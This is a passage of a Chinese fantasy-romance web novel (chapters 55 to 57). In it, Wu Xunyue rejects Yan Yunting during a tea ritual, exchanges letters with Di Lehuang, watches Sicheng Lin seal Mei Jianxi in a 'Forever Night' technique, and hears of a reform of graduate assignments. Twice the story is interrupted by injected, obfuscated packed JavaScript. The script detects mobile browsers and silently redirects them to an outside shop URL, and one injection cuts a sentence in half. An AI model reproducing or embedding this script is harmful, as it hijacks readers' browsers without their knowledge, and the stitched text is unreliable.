巫寻月在温烫茶具,并未在看他。拒绝他这事,本无需做任何准备——她不得不承认,不久前有那么些时候,她有些……动摇,但自听说司城凛离都,她整个人像疯了一样,一颗心完完整整全都随他去了远方,根本想不起来任何其他。 她只能在心底万分感激燕云停最后也最及时为她带来司城凛的消息,可她不愿意再继续骗他,更不愿意再继续骗自己了。 今日巫寻月还是在练习焙茶技艺,将茶叶倒入烘干的壶中,手持壶柄开始文火慢焙之后,她才缓缓开口:“此事……是我不好,你不必道歉。” 燕云停不明所以,以为她在生气,急着就说:“怎么会是你不好,你没有哪里不好,寻月,你是我见过的最美好的女子,我……” 一想到自己刚刚才说过“不该如此着急”,燕云停把最后一句话生生咽了下去,思量了须臾,才改口道:“我知道你自有傲气,否则也不会将你比作蚀愈花,你不以门第高看我,我也不会以这些俗物施压于你,只愿……以你看重的为傲。” 巫寻月心有动容,却不动声色,不紧不慢地将那焙壶不停翻面,同时仔细观察着茶叶颜色,确保其只是变得更加乌亮,而边缘绝无焦糊之象。焙茶极考验耐心与专注,火候稍过,茶便带了火苦味。 这最后一盏茶,总该好好敬他才是。 燕云停是明白她的,他很懂怎么拨撩她的心,也探明了她究竟看重什么。她喜欢他沉稳、坦荡,喜欢他好读些诗书志怪,喜欢他待她认真、瞧得准确,喜欢他不自诩为世家子弟、不以门第对她傲慢,喜欢他敬重她、欣赏她的一切。 慕丹青不会骗她,定是为她细细考虑过,才认真将这良配推到她面前。倒是她骗了慕丹青那么久,欠她一句不是。 是她太贪心了,燕云停不够,谁也不够——她只想要那个人。 明恍的火光映出了她眼底的泪光,燕云停将她每一帧都看得尽心,自然不会错过。他惊了一声,身子往前,几乎就要扑过来,却克制住了,小心翼翼道:“怎么哭了?是我说错什么了吗?” 既被看穿,巫寻月索性不再忍,任凭泪水落下。这泪里,有对他的歉意,有对自己的不齿,有对命运的无奈,也有……对这多日以来自己的虚伪和摇摆的疲倦。 燕云停的心都快碎了:“我知道我了解你还不够多,你给我时间,我可以等,等你觉得可以相信我……” 他们没有时间了,因为,她手中的茶,已焙好了。 巫寻月轻轻一拭眼泪,接着迅速将茶叶从焙壶中倒出,摊放在一个洁净的竹制茶荷里,让其自然冷却。 她气息先动,终于轻轻开了口:“此为静置回润,能让茶叶内里质地重新均匀分布,使香气更为沉稳内敛。” 燕云停以为,此时开始便是他们二人的“静置回润”,她想冷却下来,以待与他之间变得更为“沉稳内敛”。他舒然一笑,道:“好,我明白。” “你不明白。”巫寻月立即接话,在他错愕的眼神中,平静地准备着泡茶用的盖碗和公道杯。燕云停知道她还有话,揪着心静静等待。 终于,静置时间到了。巫寻月取出冷却之茶,投入已温好的白瓷盖碗中,接着稍稍转身,从案几一角的木匣中,取出几片形状酷似心碎花瓣的干枯药草。她的动作没有一丝迟疑,开口也不再有一丝犹豫:“这焙茶复杂,我手法还是欠了些,味道闻着不对,给你加一味’辞君顾’吧,这药草清甜,可中和涩感,会适口一些。” 燕云停的神情瞬间凝滞了,他迟迟才眨了眨眼,以为自己听错了:“……辞君顾?” 55. 第 55 章 巫寻月正执壶注水,热水冲入盖碗,激荡起茶叶与那裂心之草,氤氲的蒸汽模糊了她的面容,让燕云停短暂地看不清她,却也要从此刻开始,渐行渐远。 巫寻月眼帘未抬,只平淡回应:“此草生于绝壁,见花不见叶,叶落时形如挥别,故古人取名’辞君顾’。” 白瓷茶盏中,茶已斟好,恰有一片裂心之草落入其中,巫寻月将壶放下,就将这盏“辞君顾”推向了燕云停。 巫寻月终于抬头,与他正视,不顾他的惊愕与心碎,直白地开了口:“云停,你我并不合适,我并非一时之意,而是对这段时间以来与你相处的慎重考量,你很好,但我们真的不合适。” “——哪里不合适?”燕云停彻底慌了,几乎要坐不住,“我……我并非那等轻薄之人,昨日是……” “与昨日无关,你无需自责,也无需道歉,”巫寻月认真告诉他,“你真的没做错什么,我对你也没有任何不好的看法。” “——那是为何?”燕云停真的站了起来,他胡思乱想一番,胡言道,“还是你介意我之前有过感情——那只是少时悸动,我与她并未有过密之举……” “也与此无关。”巫寻月依旧坐定,与他心碎的声音相比,她显得很无情,她无可奈何地沉着气,恨自己竟有一天会变得如此不磊落,竟也欠了别人的情债。她平静地道:“不必否认和后悔自己曾经认真的感情,如我是那种计较之人,你该鄙视我才是,正是因为我知道你是一个很认真的人,所以我才要认真与你说清楚——我们真的不合适。” 燕云停苦笑一声,说:“巫寻月,你骗人。” “……”她竟无言。 燕云停是个聪明人,观得很透,他笃定地说:“你是喜欢我的,可你不愿——为什么?” 巫寻月身体里震荡四起,与他对视间竟有一丝退缩,她强撑着自己,佯装不痛不痒地回击道:“没有你想的那么多,至少不足够让我坚定,现在我已经做出决定了。” 可正是这一点她说的“没那么多”,燕云停就如濒死之际抓到了希望一般,不顾一切地冲过去抱紧了她,质问道:“为什么?那你告诉我那不多的一点为什么输了?为什么?” 巫寻月心中警铃大作,用尽全力将他推拒,厉声呵斥道:“燕云停,你放开我,如若不然,我对你仅剩的这一点也会立即荡然无存。” 燕云停如碰了扎手之刺一般猛地松开她向后退去,不住发颤道:“寻月,对不起,真的对不起我……” “该说的我都说了,”巫寻月已转了身,不再看他,“不必再来找我,你是枫若恒和慕丹青挚友,日后我们还会再见,该留些体面,我们还可以做朋友。” 她彻底说完了,不再关心身后的一切,迈出门槛的那一刻吸入一大口山间夜里的冰寒之气,大大地解了一门之隔里的窒息感。 巫寻月长长地松口气,终于与自己和解。 这天夜里,枕着乌金鹍图腾躺在柔软的床幔之中,巫寻月才恍惚醒悟过来,是自己想错了——此刻还不到她去跟进司城凛行踪的时候,知道的越多,越如蜻蜓点水,惹她挠心挠肺,如沾了毒瘾般一而再再而三地想要。若有关于他的重要消息,狄乐凰定会第一时间让她知道,再公开一些的,慕丹青也会知道,跑回来与她分享。 剩下的那些琐碎的、她在意的、却如羽扇轻挠般让她百般折磨的消息,其实并不重要,她现在还是该像过去六年半一样,冷静、稳定、一步一步地,往前走去。 果不其然,第二天巫寻月就收到了狄乐凰的消息,告诉她司城凛已平安归来,昨日已在九部令照常办公。狄乐凰还说,他与敖星泓并未开战,缘由是绝密不可知,因此也并未对外声张,只待风头过去,百姓们也渐渐忘了这事。 巫寻月给狄乐凰回了一封很长很长的信,陈情自己这些日子所做的一切,和燕云停的种种,她都一五一十地写了下来——她需要以这样一种全面彻底的方式自我检讨,她需要另一个人知道,她曾有错,但她改好了,她原谅了自己。 狄乐凰第一时间就给她回了信,她此刻在蛟州,离得不远,青信鸟一日可往返数趟。 狄乐凰说——寻月,这是你的人生,你无需自责,你没有错,也没有对不起任何人,你不欠司城凛什么,他既然选择不见你,放任你,你所发生的一切就都与他无关了,若他知道后该如何自处,那是他的事,与你无关。 狄乐凰说——我对言萧鹤也一样,我不后悔与那侍卫的情缘,也没有什么该与不该,我们都已成年,足够为自己的行为负责,他没有资格觉得我有罪,若有谁有罪,那也只有是他。 狄乐凰最后说——寻月,我为你感到骄傲,你比我诚实,也比我勇敢。如若将来你与司城凛还能再见,你一定要理直气壮地走到他面前,让他看见是他不在的这些年里你所经历的一切,造就了如今强大而完整的巫寻月,若他觉得你不再是他原来心里那个你的样子了,那也只该是他之憾,你自有你的大好未来。 巫寻月将狄乐凰的信捂在心口,眼泪汹涌,泣不成声。 她好想好想狄乐凰啊,她突然觉得如果这世界没有司城凛,没有言萧鹤,她和狄乐凰两个人过下去也挺好的,她就可以不工作不劳动了,反正狄乐凰的钱几辈子也花不完的。 燕云停才走了一日,慕丹青就来了。那时巫寻月刚读完狄乐凰的信,哭得肿成猪头,慕丹青见她如此,大吃一惊:“——你哭了?不会是为了燕……” “当然不是,想什么呢?”巫寻月鄙夷地瞪她,“乐凰来信,说了别的事——你别问。” 慕丹青也顾不上问这个了,直说:“你没为燕云停哭成这样,他却是为你哭成这样了——枫若恒陪他喝了一夜的酒,说他喊你名字喊得撕心裂肺,枫若恒都快聋了。” “怎么,你要来当说客?” “自然不是!” 此处还是在问心阁,巫寻月寻个僻静处单独看狄乐凰的信,当然是这里。而慕丹青先是去宿舍寻她不见,除了这也没有别的答案了。 慕丹青原还站在门边,忽然提步过来,挨近巫寻月坐下,带着愧色看向她,问:“寻月,你是不是觉得我不够懂你?不像乐凰那样懂你?” 巫寻月也看她,泪水就这么砸了下来:“不是的丹青,这不是你的问题,是我太复杂,不像你那么透明,那么好懂……我和乐凰其实,都很羡慕你。” 慕丹青用丝绢为她拭泪,一边说:“从前我也羡慕你们心思细腻,心有灵犀,可这些年我观你和乐凰的苦楚,又好像觉得……我这样没心没肺也挺好的。” “丹青,我来神都这七年,因为有你,其实更多的还是快乐,”巫寻月越说越止不住眼泪,“我最不好最不好的是四五年级,就因为你不在,我实在是觉得太不好了,甚至现在想不起来那两年都做了什么……” 巫寻月倒进她怀里,慕丹青接住她,轻哄道:“哎呀好了好了……我也是不得不去戍边呀,家中认为我该给六部令部众做表率,证明自己不是来我伯父手下享清福的大小姐……” “我知道,我都知道……”巫寻月越哭越凶。 慕丹青突然意识到,她是压抑已久,需要彻底宣泄一下,索性不再劝,让她好好地哭个够。 巫寻月纵声大哭,为这七年来所有的一切,她都该好好哭一场了。 过了好久好久,那火炉上的茶水都快要蒸干了,慕丹青不得不出个声:“我……屁股麻了。” 巫寻月扑哧一笑,放开她,让她放松屁股,巫寻月去处理那壶茶水。 很快她重新回来,慕丹青开口就问:“那你能不能告诉我,你为什么不接受燕云停啊?” 巫寻月没打算再瞒她,直说:“丹青,我放不下那个人,其实我已经知道他是谁了……已经知道很久了,但我们……现在尚且无缘,所以我还不能告诉你,但我已经想好了,等毕业大考结束,我就告诉你一切。” 她这话信息量过于密集,慕丹青接连被轰炸,到最后缓了缓才反应过来:“为什么是毕业大考结束?” 巫寻月一笑:“到那时,我的志愿就确定了。” “你的志愿和他有关?”慕丹青连接上了关键,“——他真在十一令中?” 巫寻月沉默以认,有那么一会儿她都要以为慕丹青定能说出那个正确的名字,但她没有——没人敢想那真的就是司城凛。 慕丹青最终沉了口气,说:“既然你已想好,我现在便不问了,其实我今天来的确不是为燕云停说情,只是为了明白你,你说了这些,我就明白了,那的确是一个无解的题,你若心里还有那个人,那旁人再好也是无用——可寻月,我只问你,你想好了吗?” “想好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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慕丹青说:“倒也没那么快,备婚诸事繁多,也需得卜算良辰吉日,至少在你毕业前是办不成的。” 那她便不管了,老天有心将这时间推在她毕业之后,那么现在起就算是天王老子来了,也管不着她好好过完这最后半年。 司城凛恢复了日常性事务,九部令和司城家两头管,事实上他若有大事,人尽皆知,所以对巫寻月来说,没他的消息就是最好的消息,让她自在了许多。 寒假很快来了,放假前七年级统一测灵,达九重灵的同学中,朝黎、东方曜、慕学文皆在列。迟安瑜刚过八重灵,无望用半年达九重灵,他并不好高骛远,深知世族和平民的鸿沟,苦修七年能有八重灵,他已无愧于自己。 见朝黎能有九重灵,巫寻月甚是欣慰——这样一来,桑家就有自己的优秀毕业生了。 慕学文这厮倒是让所有人刮目相看,他入学时四重灵,比起他姐姐可谓平庸,大概是慕丹青这戍边两年着实起了表率作用,让他一路奋起直追,不敢懈怠。 七年中不乏有退学辍学或留级等情况,直至如今,本届毕业生一共五百一十四人,十四人达九重灵,不包括巫寻月这个真灵,除了慕学文和朝黎志愿是确定的,其余优秀毕业生还得有协商。 另外,按照七重灵的毕业标准,全年级达标人数已过九成,巫寻月的舍友皆在其中,这让她欣慰极了。 回到邬戍城的那片花海,巫寻月忽然觉得,自己好像找不回七年前那个天真的自己了。 那年初遇,她天然一颗无所畏惧的心,夸赞他好厉害,好刻苦,说他长得好看,是她见过的最好看的人……她一往无前地向他全然敞开,不遮不掩对他的欣赏和悸动,甚至大胆调戏他…… 想到此处,巫寻月在花海间似醉酒般疯癫地走了几步,痴痴发笑。 “小白……”她轻轻唤,即便小白离得有些远,但小猫咪的听觉可是高于封号灵师的,“七年了,我去了神都遇到这么多人……他依然是我见过最好看的人,原来,真的不是我土,而是我一见,就见到了这世间之最……” 突然,她狠狠一跺脚,音量骤然抬高:“慕丹青那厮,说我就是图他好看——嘿我就是图他好看怎么了?我不该吗?我巫寻月如此绝色,就该惦记他那张脸,别人还不行呢!哈哈哈哈哈——” “再说了,她慕丹青不图枫若恒好看?枫若恒要是个丑东西,她能看上他?还愿意嫁给他?拉倒吧她!” “你当乐凰图言萧鹤什么呢?图他年纪大图他不洗澡?要不是他长得好看,早在边境的时候言萧鹤轻薄于她,早被她杀了好不好?” “算了,咱仨谁也别笑谁,给我惹急了真找个丑男人嫁了,我看你们俩不得哭死,哈哈哈哈哈——” 巫寻月疯疯癫癫地往前撒欢,偶一回头,小白离她离得很远——她第一次在一只老虎脸上看到了莫名其妙。 56. 第 56 章 这一次开学,巫画荻给了巫寻月很多很多的钱。巫寻月羞愧极了,推说不要,巫画荻却说:“桑宗主因为照顾你,给咱家收药的价格都抬了一倍,我原先还不肯,他见我固执,就把全邬戍城的都涨了,说这样我便不会招人眼馋,还能落得感激,如今城里各家药铺的掌柜都对姐姐客气了许多,得知桑宗主看重你,也纷纷恭维起姐姐了——那蓝家公子前日还来打探,我让他立刻就滚!” “哈哈哈哈哈——”巫寻月陪着巫画荻纵声大笑,表情浮夸地演道,“他也不出去打听打听,就他也配向巫寻月提亲?哈哈哈哈……” 巫画荻趁势把银票塞回她手里,道:“所以这多的都是因为你,都是给你花的,你可明白桑宗主的用心?” 巫寻月平静下来,老实巴交地对巫画荻说:“姐姐,我知道桑宗主对我好,想让我入他门下,他也多次表示会用毕生所学栽培我,带我到桑府一同吃家宴,我真的很感激他,如今我对桑家确实也有了亲人般的感觉……可是姐姐,我并不想去一个以医疗为主的部门,更不想从事以医疗为主的工作,我是喜欢医术,可也只想当做乐趣,要用时能用,得闲了当做消遣爱好,可我真正想做的,并非医术……” “姐姐都知道,”巫画荻回握住她的手,“姐姐虽然不学灵术,可怎么会不了解你呢,因为知道你不喜欢以医术为业,所以自你小时候起虽知道你精通草药,可也没真让你去学医,真让你准备开个医馆,就是姐姐知道,你还得去找自己真正想做的事。” “……所以姐姐,若我最后拒绝了桑宗主,我心里……” 巫画荻给了她一个镇定的笑容,说:“桑宗主的修为和见地已是通神级的人物,不可用如此常人狭隘之心看他,他怎会真和你一个小女孩过不去?他一定也更希望你是真心愿意,真心遵从了自己的选择。” 如此一来,巫寻月便放心地与姐姐拜别,最后一次踏上了前往神都学宫的开学之旅。 这次来接她的是狄家的镇虚鳐——她管狄乐凰要的,天寒地冻的冬日,她才不要顶着风遁形去暮沉泊,再上那双凫船,她并不需要这最后一次的仪式感。所以巫寻月很快到了学校,三位舍友家都住得近,早她先到了,四人便说一同下山去都前驿吃饭。 却没想到的是,朝黎也到了——家住神都的同学一般不会提早这么多。朝黎进了宿舍见到巫寻月,赶紧过来扯她:“你还真到了,我不过是来看一眼……” “怎么了?”巫寻月察觉她神色有异。 “你是不是要去问心阁?” “不是,我准备跟她们吃饭去。” “那没事了。” “朝黎,有屁快放。” 朝黎哪藏得住八卦——她只能瞒得住病情和桑家秘事,其余的全给她抖了。朝黎把巫寻月拉出屋子,才说:“上面封起来了,问心阁上不去……安瑜来得早,我也早来陪他,我俩刚在观星台约会呢,突然梅世子就从外头蹿回来了,火急火燎的——其实我们没看见,从前还能辩出一二,他升了破灵境之后遁形就不是我能看见的了——但马上校长书房那边就吵起来了!是梅世子在跟校长吵闹,非常非常凶!我和安瑜都怀疑那到底是不是他的声音,直到听见他说:我这世子不做又如何!” 巫寻月露出如朝黎所料中的膛目结舌,她愣了半天才能说话:“……你说的是梅见蹊吗?” “我也是这么想的!”朝黎太满意她的反应了,十分有助于推波八卦,“但我们没能听更多,很快就有老师上来赶人了,我们下来才知道,校长书房周围一大片全都封了,谁也不让靠近呢。” “这是在干嘛?”巫寻月诧异地拧着眉毛,“升破灵境后遗症?” 梅见蹊于今年年初升入破灵境——也就是两个月前,大家后知后觉,怪不得期末时他消失了一阵子。也是直到此时,大家才真的相信他有在修炼。 梅见蹊十七岁成真灵,是标准的封号灵师命格,二十二入隐灵,三十一岁升破灵……照这样下去,若他不曾懈怠,约莫会在四十五岁之前成为封号灵师。这成就放在现任封号灵师里只能说是标准——甚至比不上非世族出身的言萧鹤。 司城靖与梅晏晷并称史上双杰,或许有个太耀眼的父亲,人们对他的期望值也太过,于他反而是过大的压力吧。年少时坊间还在传司城凛与梅见蹊能延续这双杰,可随着司城凛越发强得离谱,梅见蹊的存在就渐渐成为了起到突出司城凛有多么强的作用,双杰也终究是断代了——这不怪梅见蹊,是司城凛太强,强到令人发指。 但梅见蹊完全不在乎,反而很乐意以此当做自己的标签,玩自己的梗。他自然是真心的,对司城凛,对学生们,对一切他认识的人,他都是真心的。 若不是朝黎上次将梅见蹊多年前的隐情告知,巫寻月会一直认为,梅见蹊该是和慕丹青一样,是被父母宠爱大的孩子,没什么心眼。 可像今日如此与父亲大发雷霆,也是前所未有的,甚至扬言不做这世子——据巫寻月所知,现今五大宗族之中还从未有过如此悖逆之言。 令她们都没想到的是,今日这场闹剧,这还只是个开场。 到了日暮之时,神都学宫山外不远处的天突然暗了下来,不断绵延向外,也覆盖到了学校上空,天地间骤变阴霾一片。同学们当然知道这是哪位灵师施展的术法,只是看这威力初现灭世之象,就知其级别不低,纷纷亢奋起来,嚷着要去看热闹。 “到底是谁打起来了?这至少得是破灵境的功力吧?” “岂止……搞不好是个封号灵师。” “看起来该是控制系?” “绝对就是控制系!” 其中一人说出了正确答案:“——那是永夜降临。” 众人一齐回头,巫寻月也在其中,她有些惊讶,说话的人是东方曜。东方曜遥望着那暗夜,眼中星光闪动,满怀神往:“那是司城封座的隐灵级必杀技,是一个纯粹的封印类必杀技,在那永夜之中,会形成一个短暂的灵气真空,无法催动灵力,人会被封闭五识,听不见看不见说不出,也动不了,什么都做不了,最后……静待被诛杀。” 此言一出,山头间如一石激起千层浪,议声四起:“你是说司城封座十七岁时就练出了这么恐怖的必杀技?” “那司城封座这是在对付谁啊,也没见打起来啊……” “或许是打不起来,一个封印术就能将对方制服,那还怎么打……” ——司城凛在距离神都学宫不远处的地方跟人打起来了。不知为何,巫寻月直觉那人是梅见蹊。 巫寻月不是没去查问过司城凛的各层必杀技是何称谓,可司城凛进步实在太快,那时现在的人尚还年幼不记事,且这几年没有战事,其实知道的人不多,如慕丹青也只知道他在与敖星泓一战中大开封灵级必杀技银河绞杀,至于那是什么样的术法,她也不知。 其实在场之中,哪怕放眼整个神都,大概也只有巫寻月一人见过司城凛的全部必杀技——除了银河绞杀。他封灵那夜,她人在家中,之前虽有练习,但终归与真正封灵之后天差地别,这她自己是有所体会的。 所以,天色刚黑起来的时候,她就知道是他来了。却也是第一次如此完整、清楚地知道这是什么样的术法。 巫寻月对东方曜甚是吃惊,不由得问:“你怎么会知道?” 跟她说话,东方曜还是有些局促:“……司城封座,是我偶像。” ——好好好,你们世族子弟就是有本事打听到偶像的事还打听得这么仔细,他还是我男人呢,我都打听不到! 巫寻月简直是气急败坏。 众人还在围观,巫寻月离了人群,一路遁形上山,几个闪现间就到了校长书房附近。却突然被一道熟悉的声音喊住了:“——寻月,这是去哪?” 巫寻月正倚在一片竹林高处,低头一看,只见桑淮舟独自坐在竹林下一处观景台中,正对着那永夜的方向,他指节修长,正捻着杯茶,细细品味。 巫寻月落了地,到他面前行礼:“世子,您怎么会在这里?” 桑淮舟一笑,不瞒她:“父亲遣我来的,说是看看或许用得上我。” 桑川禾倒是有意思,不让他来劝架,净等着事后给他们收拾烂摊子了。 巫寻月也不与他打太极,看向那永夜,直问:“司城宗主是在打梅老师吗?” 桑淮舟一口茶水喷出,猛烈咳了几声,才说:“抱歉抱歉,我都忘了你们在学校喊他梅老师,一时觉得有些好笑……” 巫寻月倒反天罡道:“世子,您都是当父亲的人了,需得稳重些才是。” “是是是,寻月教训得是。” 桑淮舟擦拭外衣时,巫寻月望着那平静的永夜,又问:“世子,司城宗主得关梅老师到什么时候呢?” 虽是隐灵级必杀技,可随着司城凛灵力至封灵,永夜降临的威力也会随之提升至封灵级,断不是一个刚入破灵境的梅见蹊所能破的。 “不知道,”桑淮舟看起来可真事不关己,“他们俩的事,我管不着。” 巫寻月无话了,那便只能等了,等梅见蹊会不会屈服,等司城凛会不会手软,或者等……别的什么人会不会去救他。 见她如此平静,桑淮舟闲来问她:“你怎么不问我他们二人发生了何事?” 巫寻月说:“你会告诉我吗?” “不会。” “我也觉得不会。” 桑淮舟抬眼看她,眉头一挑,道:“你就不想知道?” 巫寻月答得很快:“也不那么想。” “因为不是司城凛挨打?” 轮到巫寻月看向桑淮舟,但他已收回目光,只留嘴角一抹浅笑。她不否认,他也不追问,如此有分寸的相处,巫寻月觉得好极了。 等待的时间里,桑淮舟又问她:“原是想去哪儿啊?” 她原想去观星台,在那里远眺虽不比低处细致,却能看见那边前往神都的方向,打架这等事情,打完了该是不会让梅见蹊狼狈地回学校,司城凛也没有再回神都学宫的必要,而会直接返回神都城。她是想多了,她一个小小真灵怎可能看得见封号灵师的遁形轨迹,可没办法啊,为了看心心念念之人一眼,哪怕只是等着最后却见不到,也觉得很美好。 为了证实自己的想法,巫寻月问:“世子,若是梅老师真需要您,该是您过去那边是吧?” 桑淮舟笑了:“那是自然,倒也不能让你们这些小朋友看见他如此狼狈。” 果然如此。 桑淮舟明白了,打趣她道:“怎么了?你也想去?” 自然是想的,但她不能:“我自然是不该见到梅老师这个样子……世子,您觉得此局何解?” “我也想知道啊……”桑淮舟摇摇头,寥寥一笑,“他们一个不会留情,一个不会屈服,倒是难了。” 虽不知是为了何事,但就那一句悖逆之言,遭到如此教训,倒也不算委屈了梅见蹊。不过也是依着此事,让巫寻月有些明白了何谓司城家与梅家交情笃深,这事说来也有趣得很,梅见蹊对自己亲爹不恭敬,遭到司城凛出手教训,听起来像是司城凛为梅见蹊长兄,而事实上,司城凛还要小他三岁。 巫寻月忽然就想问:“世子,您可知道……梅老师和司城宗主二人,何以成为好朋友呢?” 桑淮舟下巴一抬,云淡风轻道:“不正是这样吗,都是倔驴,一个比一个倔。” 此局难解,本就没几个人有能耐管,还一个比一个狠,一个比一个邪门。 老的指望不上,或许,小的能有转机。 不久后,那令人绝望的乌霾竟开始消退了,且不是寻常被风驱散的渐淡,而是以一种诡异的形态于空中扭曲,以肉眼可见的速度先是变得半透,下一秒只剩微末,就像掀起一扇帘子那样,被遮蔽的霞光一下子张扬万丈,让所有人都猝不及防地刺了眼,纷纷眯眼回避。 桑淮舟颇为惊讶地挑了眉:“这么快?” 巫寻月不住低语:“会是谁呢……” “我得过去一趟,”桑淮舟说着起了身,走向悬崖,并未再回头看她,“走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903286|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑淮舟走后不走,漫天霞明玉映之中,慕丹青金灿灿的身影翩然出现了。巫寻月没忘记今日与她约好在断崖相见,早她一会儿等在了那里。 六部令的官服是姜黄色压白边交领劲装,也不知慕丹青是不是从小看着,便潜移默化地情有独钟了,反正现在整日一身黄衣,甚合她意。 两人一见面,巫寻月就迫不及待问她:“刚才那永夜降临,你可看见了?” 慕丹青先是微讶,但也先好好作答:“巧了,当时我正下值出门,碰上一位九部令的同学,我们俩蹲楼顶上聊了会儿,突然就看见神都学宫方向天色有变——还是我同学告诉我,我才知道那是司城封座的永夜降临呢,你怎会知道?” 可巫寻月更急于知道:“九部令人人都见过司城封座的必杀技吗?” “我也问了,我同学说不全是,永夜降临正巧是前阵子司城封座带他们训练封印术法时展示的,其他的她也没见过,毕竟她与我同年毕业,刚入列三年多。她还说这结界可大可小,当时训练时展示的不过一座三层阁楼般大,今天这样的,该是司城封座于暴怒之下,都不屑于收敛了。” “暴怒之下……”巫寻月轻轻自语。看起来梅见蹊惹的这祸事,还不小啊。 猝不及防慕丹青就说:“莫非是梅世子惹出祸事了?” 巫寻月愣住:“你怎么猜得这么准?” “还真是他?”慕丹青着实一惊,说,“是因为后来我要从东城门出,路过梅府侧门,见到霁月猊刚好回到,梅家小少爷搀扶着梅世子下了车,桑世子也在旁。” 巫寻月更是惊愕:“——竟是梅家小少爷?” “怎么了?你知道发生了何事?” 两人交换信息,巫寻月把今日发生的一切都告诉了她,可就两人这点碎片也无法拼凑出事情原貌,且每件事单拎出来都很匪夷所思——一向放荡不羁的梅见蹊突然对父亲如此狂悖,而司城凛一改不动声色变得如此雷霆万钧,最意外的还是梅家小少爷小小年纪就已如此懂事担当,竟能周旋说动司城凛放了哥哥。 他叫梅见深,今年十二岁,已入神都学宫就读二年级——他哥哥梅见蹊正在给他教历史课,不过对于梅家公子来说,所谓的历史课,近乎等于从小耳熟能详的常识了。 巫寻月还挺感激梅见深,自他入学,便分走了她一半的热度,学校里的话题终于不再集中于她了。梅宴晷老来得子,也不知道教养方法有何不同,二子竟是天差地别的性情。 那年继位大典,朝黎就说过梅家小少爷天资不凡,入学至少是五重灵,而梅见深最后和梅见蹊一样以六重灵入学,二年级已是七重灵,若不出意外,他也会以真灵境毕业,这也意味着——梅家这一辈也许会出两个封号灵师。 一代人有一代人的万千宠爱于一身,这一辈中,轮到梅见深了。 巫寻月不知道的是,今日梅见蹊之事,是她们无论如何也探听不到的绝密,但距离她最终知道的那一天,也已经不远了。 七年级下学期,外出修炼的同学陆续归来,三月初全年级再统一测灵,九重灵者再添六人,一共二十人,加上巫寻月,九重灵以上是二十一人——优秀毕业生人数再创新高! 这其中更令人惊诧的,是医疗系九重灵竟有两人!除了朝黎,还有二班一位男生。如此一来,今年医疗系便有三位优秀毕业生了——这简直是前所未有! 梅亦书说:“除了有真灵级毕业生的年份,就只有好战期才有这样的成绩呢。好战期时同学们整体会更勤勉一些,而若是有真灵级同学,则会起到带动作用,形成更加你追我赶的学习氛围。” 此言一出,不少目光同时投向了巫寻月。 此时这二十一人正同在一间教室之中,梅亦书将他们单独叫来另有交代。 巫寻月寻思着老师这话,似乎意识到了什么,却有人先她一步开口求证了:“老师,那上一次有真灵境毕业生是什么时候呢?又有多少优秀毕业生呢?” 这个数字,神都学宫的教职工无人能忘,梅亦书张口就答:“是十一年前,司城宗主毕业的那一年,那年正值好战期,且加上司城宗主的带动作用,九重灵以上优秀毕业生达到了二十人。” 全场惊呼:“——啊?” 难怪梅见蹊说,与天才生于同一时代,是幸运,也是不幸呀。 朝黎凑近巫寻月,说出了众人心声:“怎么我们今年竟还更多?除了司城宗主,那会不还是好战期吗?” 巫寻月可知道为什么,不是她自吹自擂——她的带动作用,可比司城凛强多了。所有人都习惯了仰慕司城凛,认为他天生就该那么厉害,认为自己就该与他有天大差距,因此,除了一些真正崇拜他向他看齐的人,大部分人是无心追赶的。 可巫寻月就不一样了,她来自平民家庭,她原不该在第一名的位置。嫉妒的力量永远比羡慕强大。本届同学中有多少人听父母长辈和老师说过“你看看巫寻月还是平民家庭来的呢”,因而奋起直追,这才在和平期创下了一个比司城凛那年更漂亮的数字。 屋子里一片轰吵,只见一直站在角落没出声的另一位老师抬起双臂一扬,反手向下施压,所有人都感觉有力量自顶上倾泻而下,将整个屋子的声音尽数压制,变得安静下来。 ——那是冷夷行,巫寻月自三年级后武术便不是他带,倒是许久没见了。 即使几年不见,也没人忘记他的暴脾气,全都噤若寒蝉。 冷夷行唱白脸,梅亦书就唱起了红脸:“好了好了,冷老师也是想让大家赶紧听听正事,今天喊大家过来,是有两件事。第一呢,校长在开学典礼说过,今年是和平期的最后一年,或许你们一入列就要面对重大考验,没有多少轻松日子可过了。校长预见到今年优秀毕业生人数会多一些,且即将进入好战期,考虑到大家对于进入十一令的意愿会更加强烈,就向天听阁提交了优秀毕业生志愿投报改革的议案,昨日已在议事会上通过了——从今年起,取消十一令接收优秀毕业生限制,以保证优秀毕业生中想进十一令的都可以进……” 57. 第 57 章 梅亦书话音未落,在座喧哗已起,大家纷纷相视,都十分激动地问:“真的吗?真的吗?”“真的可以取消限制吗?” “安静安静!这很重要!”梅亦书示意手中的一打折子,“这是天听阁最终通过的改革方案,非常非常重要,现在先发下去,老师会跟大家仔细说明。” 还未拿到折子的时候,同学们面面相觑,向在座家中位高权重的世族子弟投去探听的目光,慕学文、朝黎都接收到了这些信号,可他们也是一脸懵怔。 朝黎对巫寻月说:“我是真没听说呀……” 册子拿到了,有些人打开第一页就不想看了……通篇赘述的长文,文绉绉的公文用语,总结一句话——全是认识的字,组合起来一个也看不懂。 看他们怨声载道却又兴致勃勃的样子,梅亦书不出所料道:“知道你们看不懂,老师现在就向你们说明,这关乎你们每个人的未来去向,一定要听好!” 以往之所以限制十一令各自只能接纳一名优秀毕业生,是为了避免优秀毕业生扎堆热门队伍,导致有的队伍没有优秀毕业生。这样的弊端很明显,优秀毕业生人数往往大于十一人,那么就会出现有人无法进入十一令、改投其他就业方向的情况。 而今年提出改革,梅晏晷是卓有远见的。 其实这个规则并不难,可以说非常简单,简而言之,今年改革之后规则如下: 一、按照毕业大考成绩排名,各专业前三名可自选志愿队伍,其余人听从分配,由神都学宫与天听阁共同决议; 二、所需分配名额,不与前三名志愿选投重复; 